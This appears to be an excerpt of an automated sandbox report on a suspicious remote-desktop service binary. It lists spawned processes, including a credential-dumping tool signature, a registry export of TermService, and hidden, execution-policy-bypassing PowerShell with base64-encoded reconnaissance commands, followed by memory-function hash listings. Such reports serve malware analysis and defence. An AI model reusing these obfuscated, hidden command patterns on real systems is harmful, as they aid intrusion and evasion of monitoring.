Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:30:44
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff7234e0000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002F.00000002.4929024968.00007FF7239E6000.00000004.00000001.01000000.0000000A.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	06:30:51
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff771d70000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:30:51
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:30:51
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:30:51
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff73ce50000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:30:56
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff62fbd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:30:56
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:30:56
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:30:57
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff7ab800000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:30:57
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff753850000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD833633B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3633513756.00007FFD83360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd83360000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075712ea950c8ba9b1c30975f5d281ff93715265d848bde6353853e66510317d
Instruction ID: ce47f9f731c52b6438a2a8e81fc39312a8b75e7a61bc322863ece1e5b2a6409c
Opcode Fuzzy Hash: 075712ea950c8ba9b1c30975f5d281ff93715265d848bde6353853e66510317d
Instruction Fuzzy Hash: 3B01677161CB0C4FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3661DB36E892CB46

Non-executed Functions

Function 00007FFD83360525 Relevance: 6.3, Strings: 5, Instructions: 90COMMON

Download Yara Rule

Strings

/U, xrefs: 00007FFD83360541
(0U, xrefs: 00007FFD833605A1
P/U, xrefs: 00007FFD83360571
8,U, xrefs: 00007FFD83360581
-U, xrefs: 00007FFD833605D1

Memory Dump Source

Source File: 00000003.00000002.3633513756.00007FFD83360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd83360000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$P/U$-U$/U
API String ID: 0-4220306416
Opcode ID: 620076ac109e4ee199ea70db29dcb0c848424e77c8f06f2f50d7d113d80a4d58
Instruction ID: aac9e95854af6f4fe66328390692f629c6d8df74edffdb2d310fe5d6f419e580
Opcode Fuzzy Hash: 620076ac109e4ee199ea70db29dcb0c848424e77c8f06f2f50d7d113d80a4d58
Instruction Fuzzy Hash: 4721BFD3A0FAC10FE74696A828360246FE1FF6625071C00BBF1DC261D7F858AE29D301

Analysis Process: powershell.exePID: 4588, Parent PID: 1040COMMON

Executed Functions

Function 00007FFD8339F1C6 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5c080d68688e28fd74082a2aa30bc926310c84f43134bfc536af47b9e1aa4c4
Instruction ID: 5d20e9dcabe60ba995a504fe6009ca824770b97bd8d91fdb327fc3b7cf4a9009
Opcode Fuzzy Hash: d5c080d68688e28fd74082a2aa30bc926310c84f43134bfc536af47b9e1aa4c4
Instruction Fuzzy Hash: F5F18131A08A4D8FEBA8EF28D8557F937D1FF55311F04426AE84DC7291DB78A845CB82

Function 00007FFD8339FF72 Relevance: .5, Instructions: 484COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d38634fd62f8610dbc53d4e7c0fb1dd50b5f374b20a363b49af4acc644ececbd
Instruction ID: 100473a8b55822ed5b917414bda39eb611f3340080aa49a939eebcf92348a2ff
Opcode Fuzzy Hash: d38634fd62f8610dbc53d4e7c0fb1dd50b5f374b20a363b49af4acc644ececbd
Instruction Fuzzy Hash: 23F1A430A08A8D8FEBA8EF28C8657F977D1FF55311F04426ED84DC7291DA78A445CB82

Function 00007FFD83B00331 Relevance: 1.6, Strings: 1, Instructions: 334COMMON

Download Yara Rule

Strings

PV, xrefs: 00007FFD83B0057E

Memory Dump Source

Source File: 00000004.00000002.3913052113.00007FFD83B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83b00000_powershell.jbxd

Similarity

API ID:
String ID: PV
API String ID: 0-1550986737
Opcode ID: c2856acff9ef56830257d0185c75e43054956416c366b2298e1609b0d464682f
Instruction ID: d1979986d87b13ee09865a8b298ef69257d314cdc160ecbfcb82fb88c18cf23f
Opcode Fuzzy Hash: c2856acff9ef56830257d0185c75e43054956416c366b2298e1609b0d464682f
Instruction Fuzzy Hash: 1BA1D3A2A0E7C90FE7669B7898756B57FA0EF97210B0D01FBD0DCDB193D9086806C352

Function 00007FFD833A3018 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD833A303A

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: c27256377ec00f9881fa91c70777107dae9253047d23a030ec9e0e9a7ce2369b
Instruction ID: 384d3b73fd9f9b57738614cc98345a4ecdb5332b51899a45387a903c8065566d
Opcode Fuzzy Hash: c27256377ec00f9881fa91c70777107dae9253047d23a030ec9e0e9a7ce2369b
Instruction Fuzzy Hash: F621D63190CA488FDB58EB9C984A7E97BE0EB56331F04426FD44DC3152DA746456CB91

Function 00007FFD8339B325 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c07dc946b34b4d9ce8c363874eecd260db6e19806628ce049e882ab041072e4
Instruction ID: 39159c714a54d0b4a57a7afa50b43a2c0ae5285887ce62ac9e1aa601adfea2c3
Opcode Fuzzy Hash: 0c07dc946b34b4d9ce8c363874eecd260db6e19806628ce049e882ab041072e4
Instruction Fuzzy Hash: 2B31047190CB8C8FEB19DB58D8567F97BF0EF66320F0441AFC089C7192D660A44ACB52

Function 00007FFD8339FB86 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45fc0f1ebe22410e45740985281dfdb3baeb6491241383e1b58da4f617fde10e
Instruction ID: 6e8d70d8c4243019f0e8a919b109613a05bf40bb056ab2d94bf35539e7ff026c
Opcode Fuzzy Hash: 45fc0f1ebe22410e45740985281dfdb3baeb6491241383e1b58da4f617fde10e
Instruction Fuzzy Hash: CBC1A730A0CA4D8FEB68EF28D8557F93BD1FF55311F14426AE84DC7292DA74A845CB82

Function 00007FFD833A2C23 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1078ffe7f7d3c8be440c1dd6a158ef5f6fa9658db78dba1bc48b8a595fe13f08
Instruction ID: e7502c2773eb78d6870e3ad778c53da10bb22179bb09328ae3a09fb7d4b368ea
Opcode Fuzzy Hash: 1078ffe7f7d3c8be440c1dd6a158ef5f6fa9658db78dba1bc48b8a595fe13f08
Instruction Fuzzy Hash: 8551F530A1CB994FDB09AB6CA8626E93FE0EF56310F0441BBD89CC7193DA256845C792

Function 00007FFD8339B730 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8528bf5b863895f5a92745e8323dfa329b064dfb06f89a3be483e2a41fe49a
Instruction ID: 957d5f65c844bfcefff81ba0549dedfa62b23fa84e2854106b0c04ebd5dabd4d
Opcode Fuzzy Hash: bf8528bf5b863895f5a92745e8323dfa329b064dfb06f89a3be483e2a41fe49a
Instruction Fuzzy Hash: 23312831B0DA498FEF84EB6C98953B877D1FF69321F0842BAD44DC7296DA64A802C741

Function 00007FFD834627FA Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3899246796.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc59ad840cc4e111f531c29cb1bb41fee8201a2b7b8de12c706ec19c04f9e902
Instruction ID: 347d0a22446de2e138829d81a7b41631746695546186bcc2b3c9ce97101089c9
Opcode Fuzzy Hash: dc59ad840cc4e111f531c29cb1bb41fee8201a2b7b8de12c706ec19c04f9e902
Instruction Fuzzy Hash: E231EA22F0DE195FFBA99A1C68616B973D1EF94660B4802BBD50DD3182ED08EC218381

Function 00007FFD8339B658 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d123d7469a680befb241d58baebb72a6eeb5fcfb1a66fbf0ef210d031a7602d
Instruction ID: 49f25c1e8ba7a59a7359c92b5e75dd171abf18864da0351f18d0e0726b9907ce
Opcode Fuzzy Hash: 1d123d7469a680befb241d58baebb72a6eeb5fcfb1a66fbf0ef210d031a7602d
Instruction Fuzzy Hash: 0331E531A0C64C8FEB58EF58D8867F97BE0EB56321F04016ED04DC3192CA74A445CB51

Function 00007FFD8339F684 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd22c830e18c62b175579ea11c69aa0a39c90b8b1b4e20368c4eed95e9daa7f9
Instruction ID: 4c2145d5b35b69c438ff4fa6e24bf36358d037138bb115bf35a59b42075e2fad
Opcode Fuzzy Hash: dd22c830e18c62b175579ea11c69aa0a39c90b8b1b4e20368c4eed95e9daa7f9
Instruction Fuzzy Hash: 0031EF30A1864ECEFBB8AF18DC6ABF932D1FF46316F440139D84DD6192CA786945CB11

Function 00007FFD83B00620 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3913052113.00007FFD83B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83b00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9d789c653a8a80d039b244bf76cc12ec7d2cb7e276c275914eeb6bdcda19a8
Instruction ID: e624854b5f765fcd2d4a5fe4cebc4be11770b8b10b342560396ad6dfb0697f23
Opcode Fuzzy Hash: 9f9d789c653a8a80d039b244bf76cc12ec7d2cb7e276c275914eeb6bdcda19a8
Instruction Fuzzy Hash: E91190C2A0E6D60FE7625B2858792A42FA0AF67250F0E00FBD4DCCB1D3E80D6846C352

Function 00007FFD833A828D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69d364cf6c09b2f601ffa68329f3ffb189ad85a5d82b0a6d2cdc02d3bab353a
Instruction ID: 3affd17e6eb51d3a7e02927ffa6bfcca41ebfcc7f440cb8ec5abc367675084b5
Opcode Fuzzy Hash: d69d364cf6c09b2f601ffa68329f3ffb189ad85a5d82b0a6d2cdc02d3bab353a
Instruction Fuzzy Hash: 9101C45449EBC56ED743773458344B27FA49E8312571C45EBE4DCCE0A3E408095AC356

Function 00007FFD83462818 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3899246796.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8914066c92e6180f4bdc84b74403c792fe934770a195505109f2061ec59bca8b
Instruction ID: 4a59c6e67c64a015207ed907d1824ece5451a339e446e9eab7bc073f9024badf
Opcode Fuzzy Hash: 8914066c92e6180f4bdc84b74403c792fe934770a195505109f2061ec59bca8b
Instruction Fuzzy Hash: AE01F923F1EE161BF7A9961C1C752BD51C1EF94251B4C127BD40ED3586ED0CEC218281

Function 00007FFD833937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction ID: 2b5365b42da9cf3099a0b9bf12dc1e4d5281a20707dcbe628ddce1378639e377
Opcode Fuzzy Hash: 33ee3356dda89a4d7df1a1edc0decf387feeb76cdc43a44fe9b08ee816e11a39
Instruction Fuzzy Hash: 3101447121CB0D8FDB48EF0CE451AA6B7E0FB95324F50056DE58AC3651D636E882CB46

Function 00007FFD833A2E58 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ae043ca015621b7bca3c7e58a945c0d7c72368d0af270aaef455c8ab369336b
Instruction ID: f5b018701597b10f72faeac020c2e5061295af4a8189b1a07eb2c1795f403c62
Opcode Fuzzy Hash: 3ae043ca015621b7bca3c7e58a945c0d7c72368d0af270aaef455c8ab369336b
Instruction Fuzzy Hash: 07F02B31808ACD4FDB06EF2888159D57FA0FF26210F05029BD45CD71A2DB649458CB82

Function 00007FFD833A588D Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0935301e28645538d8ad26bfcb8a059b4728288d443a7ed2221d9b40bbac22a
Instruction ID: 95697e04bc81c304fa6e87d10f3e8652cb8b76476911a0b8d65fc76dbe4c6f59
Opcode Fuzzy Hash: e0935301e28645538d8ad26bfcb8a059b4728288d443a7ed2221d9b40bbac22a
Instruction Fuzzy Hash: 0AC08C73B1C9688D7B0CB148B8030FCB380FB81230B180137D38ED2442E926302386CA

Non-executed Functions

Function 00007FFD834632CD Relevance: .8, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3899246796.00007FFD83460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191e9494daa8d18c5efa0d2c4bb883b8f346b0509a2875d080ca7975daacc62d
Instruction ID: 1166ec56d06be30ba620d7729155e2c4f76febd615069b4ddcf91cc3a675eaa0
Opcode Fuzzy Hash: 191e9494daa8d18c5efa0d2c4bb883b8f346b0509a2875d080ca7975daacc62d
Instruction Fuzzy Hash: 68220462B0DBC90FEB969B2C58655B17FE1EF56210B0C01FBD48DCB1A3E918AC16C351

Function 00007FFD833A0F40 Relevance: .4, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83ec805faa1737a8299d4f621e2f7d44bf5ec97f8c57d4f535eb9ec2cad02ef4
Instruction ID: dece289d24f6ba0ab760355eeb07fc5aae10c2dc7397c9926370795bb4c69c81
Opcode Fuzzy Hash: 83ec805faa1737a8299d4f621e2f7d44bf5ec97f8c57d4f535eb9ec2cad02ef4
Instruction Fuzzy Hash: 2AB1D583A4F9C90FF726A62C28651256FC6BF9271070C55FBE4AC5B1DBD858AC0AC361

Function 00007FFD833A6805 Relevance: 17.9, Strings: 14, Instructions: 395COMMON

Download Yara Rule

Strings

h87N, xrefs: 00007FFD833A6BD3
77N, xrefs: 00007FFD833A6A08
087N, xrefs: 00007FFD833A6B16
P87N, xrefs: 00007FFD833A6B82
X87N, xrefs: 00007FFD833A6B9D
x87N, xrefs: 00007FFD833A6C09
87N, xrefs: 00007FFD833A6AE0
p87N, xrefs: 00007FFD833A6BEE
887N, xrefs: 00007FFD833A6B31
H87N, xrefs: 00007FFD833A6B67
`87N, xrefs: 00007FFD833A6BB8
(87N, xrefs: 00007FFD833A6AFB
77N, xrefs: 00007FFD833A6A23
@87N, xrefs: 00007FFD833A6B4C

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: 87N$(87N$087N$887N$@87N$H87N$P87N$X87N$`87N$h87N$p87N$x87N$77N$77N
API String ID: 0-3991805292
Opcode ID: 0a5c0906cbd94513fa1517c4d06fa2313e9ea61bf5fe2ef2c23509d69adca77e
Instruction ID: c0a1cb546455575459783b4fc8f78640acbab474dbc7a31d6e84ba235ca5e3f1
Opcode Fuzzy Hash: 0a5c0906cbd94513fa1517c4d06fa2313e9ea61bf5fe2ef2c23509d69adca77e
Instruction Fuzzy Hash: 1EE17860A1D5C92FD70EA3745D63AEABFA0EF06341F484AFEE0896F193C99C5446C712

Function 00007FFD833907B0 Relevance: 5.2, Strings: 4, Instructions: 154COMMON

Download Yara Rule

Strings

/U, xrefs: 00007FFD833907F1
(0U, xrefs: 00007FFD83390851
8,U, xrefs: 00007FFD83390831
P/U, xrefs: 00007FFD83390821

Memory Dump Source

Source File: 00000004.00000002.3897905625.00007FFD83390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd83390000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$P/U$/U
API String ID: 0-3578476896
Opcode ID: df915060b6f0903420f407de5ba32f48b0fc2d06a2130c0908ffb5a135e49282
Instruction ID: 0c4ed16cd49fc9d25d068525c81a7e0a1431fd10c42dd860684809fb891fcbc2
Opcode Fuzzy Hash: df915060b6f0903420f407de5ba32f48b0fc2d06a2130c0908ffb5a135e49282
Instruction Fuzzy Hash: E851D453B0F6C19FF756AAA418661B56FE17F63240B1C00FBD8AC57197E818AD09C391

Analysis Process: powershell.exePID: 8516, Parent PID: 4588COMMON

Executed Functions

Function 00007FFD8324EB80 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3798071654.00007FFD8324D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD8324D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd8324d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 490c9f367d3a2b72ff7cdd9605629af69d05ac41351e8d2c97fe0d2e8af48041
Instruction ID: 91d14abca2c041957807d634de4235b4e643b401d9d345bb3586cd4413c86cb2
Opcode Fuzzy Hash: 490c9f367d3a2b72ff7cdd9605629af69d05ac41351e8d2c97fe0d2e8af48041
Instruction Fuzzy Hash: 2541457190EBC44FE7568B289855AA23FF0FF53320B1905EFD08DCB1A3D625A846C792

Function 00007FFD83363C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3798843004.00007FFD83360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd83360000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 737be5be986389b823c7c104db441d1320a6c94f3d3dd8edfd9a1324decc0a99
Instruction ID: c493272fd799ab0eb8a80277cb8e5377f36c8f01d823a26338d987a7204f8b1b
Opcode Fuzzy Hash: 737be5be986389b823c7c104db441d1320a6c94f3d3dd8edfd9a1324decc0a99
Instruction Fuzzy Hash: F601677161CB0C4FDB48EF0CE451AA6B7E0FB95324F50056DE58AC36A1D736E892CB46

Non-executed Functions

Function 00007FFD833605D0 Relevance: 7.6, Strings: 6, Instructions: 145COMMON

Download Yara Rule

Strings

P/U, xrefs: 00007FFD83360631
-U, xrefs: 00007FFD83360681
8,U, xrefs: 00007FFD83360641
/U, xrefs: 00007FFD83360601
H1U, xrefs: 00007FFD833605F1
(0U, xrefs: 00007FFD83360661

Memory Dump Source

Source File: 00000008.00000002.3798843004.00007FFD83360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD83360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd83360000_powershell.jbxd

Similarity

API ID:
String ID: (0U$8,U$H1U$P/U$-U$/U
API String ID: 0-2157778811
